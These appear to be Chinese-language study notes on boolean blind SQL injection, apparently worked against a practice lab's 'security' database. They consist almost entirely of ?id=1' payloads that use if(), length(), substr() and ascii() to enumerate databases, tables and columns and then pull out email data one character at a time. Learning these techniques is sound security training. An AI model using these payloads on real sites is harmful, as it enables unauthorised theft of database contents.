if(参数1，参数2，参数3)
参数1：判断条件，参数2：条件为真返回的结果，参数3：条件为假返回的结果
判断数据库长度大于10>>> ?id=1' and if(length(database())>10,true,false) -- - 结果没有显示内容说明判断错误
利用二分法原则推断出来是8>>> ?id=1' and if(length(database())=8,true,false) -- -
substr(参数1，参数2，参数3)>>>字符串，起始位，截取长度 ，ascii() 将字符转换成ascii码
?id=1' and ascii(substr(database(),1,1)) >120 -- - 判断第一个字符的ASCII大于120，页面false
?id=1' and ascii(substr(database(),1,1)) =115 -- - 不大于120，猜测第一个ASCII等于115
?id=1' and ascii(substr(database(),2,1)) =101 -- - 第二个的ASCII等于101 以此类推查出所有的ASCII
查询所有数据库名总和长度，下面判断出长度大于70
?id=1' and length((select group_concat(schema_name) from information_schema.schemata)) >70 -- -
多次判断后，所有数据库名总和长度是等于78(包括分割符‘,’)
?id=1' and length((select group_concat(schema_name) from information_schema.schemata)) =78 -- -
第一个字符：?id=1' and ascii(substr(((select group_concat(schema_name) from information_schema.schemata)),1,1))=105-- -
第二个字符：?id=1' and ascii(substr(((select group_concat(schema_name) from information_schema.schemata)),2,1))=110-- -
查询security数据库下的所有表名总和长度25
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security')) >25 -- -
判断出来总长度是29
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security')) =29 -- -
查询security数据库下所有表总和的第一个字符
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=101 -- -
查询security数据库下所有表总和的最后一个字符
?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),29,1))=115 -- -
查询某表下所有字段的总和长度
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'))>3 -- -
查询出长度是11
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'))=11 -- -
开始查11个里面的第一个字符的ASCII值
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),1,1))=105 -- -
开始查11个里面的第2个字符的ASCII值
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),2,1))=100 -- -
查某表某下某字段里的数据总长度
?id=1' and length((select group_concat(email_id) from emails))>20 -- -
查询数据
?id=1' and ascii(substr((select group_concat(email_id) from emails),1,1))=68 -- -
?id=1' and ascii(substr((select group_concat(email_id) from emails),2,1))=117 -- -
?id=1' and ascii(substr((select group_concat(email_id) from emails),3,1))=109 -- -
